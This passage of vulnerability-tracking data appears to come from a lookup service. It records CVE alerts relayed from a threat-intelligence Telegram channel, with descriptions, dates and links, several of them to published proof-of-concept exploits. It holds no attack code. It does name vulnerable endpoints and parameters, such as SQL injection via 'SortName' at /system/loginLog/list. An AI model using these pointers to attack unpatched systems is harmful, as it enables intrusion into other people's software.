"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2782", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55930\n\ud83d\udd39 Description: Weak default folder permissions\n\ud83d\udccf Published: 2025-01-23T17:36:01.763Z\n\ud83d\udccf Modified: 2025-01-23T17:36:01.763Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T18:03:14.000000Z"}, {"uuid": "93bea6db-f30f-4eae-b0c0-b2309ae0cbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2790", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55927\n\ud83d\udd39 Description: Flawed token generation implementation &amp; Hard-coded key implementation\n\ud83d\udccf Published: 2025-01-23T17:20:29.974Z\n\ud83d\udccf Modified: 2025-01-23T17:20:29.974Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T18:03:27.000000Z"}, {"uuid": "086d1546-b254-4e00-b0d0-b82d2f8eaf8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2789", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55928\n\ud83d\udd39 Description: Clear text secrets returned &amp; Remote system secrets in clear text\n\ud83d\udccf Published: 2025-01-23T17:25:46.915Z\n\ud83d\udccf Modified: 2025-01-23T17:25:46.915Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T18:03:26.000000Z"}, {"uuid": "c7d11280-b62b-4f01-9b5f-c786ddf8e314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2787", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55929\n\ud83d\udd39 Description: Mail spoofing\n\ud83d\udccf Published: 2025-01-23T17:30:34.224Z\n\ud83d\udccf Modified: 2025-01-23T17:30:34.224Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T18:03:21.000000Z"}, {"uuid": "b14a1a9b-b215-4832-a385-d1e6ac6fa2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2794", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55926\n\ud83d\udd39 Description: Arbitrary file upload, deletion and read through header manipulation\n\ud83d\udccf Published: 2025-01-23T17:12:21.371Z\n\ud83d\udccf Modified: 2025-01-23T17:12:21.371Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T18:03:33.000000Z"}, {"uuid": "50beb9d0-3126-45fb-abc6-8bbcaf9133a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2797", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55925\n\ud83d\udd39 Description: API Security bypass through header manipulation\n\ud83d\udccf Published: 2025-01-23T17:03:33.187Z\n\ud83d\udccf Modified: 2025-01-23T18:57:13.529Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf", "creation_timestamp": "2025-01-23T19:03:28.000000Z"}, {"uuid": "fcb671e0-a55c-4365-9807-232103930471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3852", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55215\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in trojan v.2.0.0 through v.2.15.3 allows a remote attacker to escalate privileges via the initialization interface /auth/register.\n\ud83d\udccf Published: 2025-02-08T00:32:17Z\n\ud83d\udccf Modified: 2025-02-08T00:32:17Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55215\n2. https://github.com/ainrm/Jrohy-trojan-unauth-poc/blob/main/README.en.md", "creation_timestamp": "2025-02-08T01:04:05.000000Z"}, {"uuid": "fc4b4ded-aecf-42ad-b69a-de646a43adfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3854", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55272\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Brainasoft Braina v2.8 allows a remote attacker to obtain sensitive information via the chat window function.\n\ud83d\udccf Published: 2025-02-08T00:32:17Z\n\ud83d\udccf Modified: 2025-02-08T00:32:17Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55272\n2. https://github.com/soursec/CVEs/tree/main/CVE-2024-55272", "creation_timestamp": "2025-02-08T01:04:10.000000Z"}, {"uuid": "7482e34a-0cad-4e3a-ad11-ac37f76fd025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55272", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3862", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55272\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-07T22:15:13.337\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/soursec/CVEs/tree/main/CVE-2024-55272", "creation_timestamp": "2025-02-08T06:03:09.000000Z"}, {"uuid": "ff92b826-35c6-4b45-a8d8-8e145db97fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3390", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55192\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: OpenImageIO v3.1.0.0dev was discovered to contain a heap overflow via the component OpenImageIO_v3_1_0::farmhash::inlined::Fetch64(char const*).\n\ud83d\udccf Published: 2025-01-24T00:31:46Z\n\ud83d\udccf Modified: 2025-01-29T18:31:21Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55192\n2. https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4550", "creation_timestamp": "2025-01-29T19:11:28.000000Z"}, {"uuid": "c8c35111-c6e5-4d14-8922-a80b3173681b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3498", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55416\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.\n\ud83d\udccf Published: 2025-01-30T15:31:39Z\n\ud83d\udccf Modified: 2025-01-30T17:56:19Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55416\n2. https://github.com/thedevdojo/voyager\n3. https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132\n4. https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44\n5. https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities", "creation_timestamp": "2025-01-30T18:12:23.000000Z"}, {"uuid": "9a391d8e-5ca9-4811-8bd7-2ace406f4e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55633", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4061", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55633\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-12-12T15:15:17.600\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/bwmd17fcvljt9q4cgctp4v09zh3qs7fb\n2. http://www.openwall.com/lists/oss-security/2024/12/12/1", "creation_timestamp": "2025-02-12T11:08:40.000000Z"}, {"uuid": "181f41bd-71af-4a0c-83ce-e0539283360c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3177", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-x2j8-vjg7-386r\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the Product module of Dolibarr v21.0.0-beta allows attackers to execute arbitrary web scripts or HTMl via a crafted payload injected into the Title parameter.\n\ud83d\udccf Published: 2025-01-27T18:32:01Z\n\ud83d\udccf Modified: 2025-01-27T20:50:36Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55228\n2. https://github.com/Dolibarr/dolibarr/commit/56710ce9b79a97df093f586c90bdaf6cce6a5808\n3. https://github.com/Dolibarr/dolibarr/commit/9aa24d9d9aeab36358c725dae3fe20c9631082e7\n4. https://github.com/Dolibarr/dolibarr/commit/c0250e4c9106b5c889e512a4771f0205d4f99b99\n5. https://gist.github.com/Dqtdqt/a942bbce9a5fc851dce366902411c768\n6. https://github.com/Dolibarr/dolibarr\n7. https://github.com/Dolibarr/dolibarr/security/policy", "creation_timestamp": "2025-01-27T21:08:24.000000Z"}, {"uuid": "1398c2cf-62ce-4951-8d81-244711b5f13d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3178", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-2v3r-gvq5-qqgh\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the Events/Agenda module of Dolibarr v21.0.0-beta allows attackers to execute arbitrary web scripts or HTMl via a crafted payload injected into the Title parameter.\n\ud83d\udccf Published: 2025-01-27T18:32:01Z\n\ud83d\udccf Modified: 2025-01-27T20:50:34Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55227\n2. https://github.com/Dolibarr/dolibarr/commit/56710ce9b79a97df093f586c90bdaf6cce6a5808\n3. https://github.com/Dolibarr/dolibarr/commit/9aa24d9d9aeab36358c725dae3fe20c9631082e7\n4. https://github.com/Dolibarr/dolibarr/commit/c0250e4c9106b5c889e512a4771f0205d4f99b99\n5. https://gist.github.com/Dqtdqt/9762466cd6ec541ea265ba33b09489ff\n6. https://github.com/Dolibarr/dolibarr\n7. https://github.com/Dolibarr/dolibarr/security/policy", "creation_timestamp": "2025-01-27T21:08:25.000000Z"}, {"uuid": "7c7022e2-548c-4465-9ee4-8d1a78af1810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3334", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55511\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A null pointer dereference vulnerability in Macrium Reflect prior to 8.1.8017 allows an attacker to elevate their privileges via executing a specially crafted executable.\n\ud83d\udccf Published: 2025-01-17T00:30:48Z\n\ud83d\udccf Modified: 2025-01-29T00:31:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55511\n2. https://github.com/nikosecurity/CVE-2024-55511\n3. https://updates.macrium.com/reflect/v8/v8.1.8017/details8.1.8017.htm", "creation_timestamp": "2025-01-29T01:10:20.000000Z"}, {"uuid": "bd8154ff-971d-4249-9318-34e1db363b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3306", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55968\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-28T22:15:15.860\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/Wi1DN00B/CVE-2024-55968\n2. https://github.com/null-event/CVE-2024-55968", "creation_timestamp": "2025-01-28T23:18:01.000000Z"}, {"uuid": "805c3214-c0cd-4cab-aa80-5ac0b91831a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3332", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55968\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in DTEX DEC-M (DTEX Forwarder) 6.1.1. The com.dtexsystems.helper service, responsible for handling privileged operations within the macOS DTEX Event Forwarder agent, fails to implement critical client validation during XPC interprocess communication (IPC). Specifically, the service does not verify the code requirements, entitlements, security flags, or version of any client attempting to establish a connection. This lack of proper logic validation allows malicious actors to exploit the service's methods via unauthorized client connections, and escalate privileges to root by abusing the DTConnectionHelperProtocol protocol's submitQuery method over an unauthorized XPC connection.\n\ud83d\udccf Published: 2025-01-29T00:31:54Z\n\ud83d\udccf Modified: 2025-01-29T00:31:54Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55968\n2. https://github.com/Wi1DN00B/CVE-2024-55968\n3. https://github.com/null-event/CVE-2024-55968", "creation_timestamp": "2025-01-29T01:10:18.000000Z"}, {"uuid": "c97e2654-f934-4612-8d95-70b795e546ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55415\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.\n\ud83d\udccf Published: 2025-01-30T15:31:39Z\n\ud83d\udccf Modified: 2025-01-30T17:56:33Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55415\n2. https://github.com/thedevdojo/voyager\n3. https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L213\n4. https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44\n5. https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities", "creation_timestamp": "2025-01-30T18:12:23.000000Z"}, {"uuid": "200ac02d-ef45-4898-b905-0a56d99adcee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55214", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3815", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55214\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Local File Inclusion vulnerability in dhtmlxFileExplorer v.8.4.6 allows a remote attacker to obtain sensitive information via the file download functionality.\n\ud83d\udccf Published: 2025-02-07T18:31:22Z\n\ud83d\udccf Modified: 2025-02-07T18:31:22Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55214\n2. https://dhtmlx.com\n3. https://packetstorm.news/files/id/189018", "creation_timestamp": "2025-02-07T19:03:36.000000Z"}, {"uuid": "34898d17-d73b-429d-bbb1-f9fc8c37e993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3693", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55062\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-31T22:15:10.463\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/Elymaro/CVE/blob/main/EasyVirt/CVE-2024-55062.md", "creation_timestamp": "2025-01-31T23:24:57.000000Z"}, {"uuid": "b4afe323-0822-4b3b-80f0-7935c298f359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3706", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55062\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: EasyVirt DCScope 8.6.0 and earlier and co2Scope 1.3.0 and earlier are vulnerable to Command injection.\n\ud83d\udccf Published: 2025-02-01T00:31:01Z\n\ud83d\udccf Modified: 2025-02-01T00:31:01Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55062\n2. https://github.com/Elymaro/CVE/blob/main/EasyVirt/CVE-2024-55062.md", "creation_timestamp": "2025-02-01T01:16:26.000000Z"}, {"uuid": "bd95ab15-7f1a-4aa5-b6b4-6f7b8a58de9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3833", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55488\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: A stored cross-site scripting (XSS) vulnerability in Umbraco CMS v14.3.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n\ud83d\udccf Published: 2025-01-22T18:31:55Z\n\ud83d\udccf Modified: 2025-02-07T20:39:55Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55488\n2. https://github.com/umbraco/Umbraco-CMS/pull/17164\n3. https://github.com/umbraco/Umbraco-CMS\n4. https://github.com/umbraco/Umbraco-CMS/releases/tag/release-15.0.0-rc1\n5. https://www.nccgroup.com/us/research-blog/technical-advisory-cross-site-scripting-in-umbraco-rich-text-display\n6. http://umbraco.com", "creation_timestamp": "2025-02-07T21:03:09.000000Z"}, {"uuid": "ef82bf31-93ed-4734-af46-80158b8711d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55215", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3863", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55215\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-07T22:15:13.247\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/ainrm/Jrohy-trojan-unauth-poc/blob/main/README.en.md", "creation_timestamp": "2025-02-08T06:03:10.000000Z"}, {"uuid": "75641565-65e5-4664-9f87-8316689e3bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3970", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55212\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: DNNGo xBlog v6.5.0 was discovered to contain a SQL injection vulnerability via the Categorys parameter at /DNNGo_xBlog/Resource_Service.aspx.\n\ud83d\udccf Published: 2025-02-12T00:32:16Z\n\ud83d\udccf Modified: 2025-02-12T00:32:16Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55212\n2. https://www.invokesec.com/2025/01/13/a-real-world-example-of-blind-sqli", "creation_timestamp": "2025-02-12T01:10:52.000000Z"}, {"uuid": "aae68f71-e65b-443d-9a5a-3e1043fbc64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4416", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55904\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-14T04:15:08.753\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7182841", "creation_timestamp": "2025-02-14T05:09:26.000000Z"}, {"uuid": "056839e7-dd71-4378-bfc5-502608aa86b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5171", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55929\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: A mail spoofing vulnerability in Xerox Workplace Suite allows attackers to forge email headers, making it appear as though messages are sent from trusted sources.\n\ud83d\udccf Published: 2025-01-23T17:30:34.224Z\n\ud83d\udccf Modified: 2025-02-24T17:17:09.394Z\n\ud83d\udd17 References:\n1. https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf", "creation_timestamp": "2025-02-24T17:21:31.000000Z"}, {"uuid": "2f0ca5be-b092-4961-80fc-bebf835e830f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55212", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4154", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55212\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-11T22:15:29.063\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.invokesec.com/2025/01/13/a-real-world-example-of-blind-sqli/", "creation_timestamp": "2025-02-12T23:09:44.000000Z"}, {"uuid": "44223f5c-b168-423e-9e55-4e5246787734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4425", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55904\n\ud83d\udd25 CVSS Score: 7.1 (CVSS_V3)\n\ud83d\udd39 Description: IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 / IBM UrbanCode Deploy 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14, and 7.3 through 7.3.2.9 could allow a remote privileged authenticated attacker to execute arbitrary commands on the system by sending specially crafted input containing special elements.\n\ud83d\udccf Published: 2025-02-14T06:30:35Z\n\ud83d\udccf Modified: 2025-02-14T06:30:35Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-55904\n2. https://www.ibm.com/support/pages/node/7182841", "creation_timestamp": "2025-02-14T07:10:06.000000Z"}, {"uuid": "a55afac0-c937-4126-9db7-d47a431134b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55156", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4937", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55156\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An XML External Entity (XXE) vulnerability in the deserializeArgs() method of Java SDK for CloudEvents v4.0.1 allows attackers to access sensitive information via supplying a crafted XML-formatted event message.\n\ud83d\udccf Published: 2025-02-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-21T18:05:37.685Z\n\ud83d\udd17 References:\n1. https://github.com/aixiao0621/CVE/blob/main/CVE-2024-55156/README.md", "creation_timestamp": "2025-02-21T18:18:49.000000Z"}, {"uuid": "96336a8e-b9c0-4df2-a54d-92c598aeffd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55159", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4936", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55159\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GFast between v2 to v3.2 was discovered to contain a SQL injection vulnerability via the SortName parameter at /system/loginLog/list.\n\ud83d\udccf Published: 2025-02-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-21T18:07:30.428Z\n\ud83d\udd17 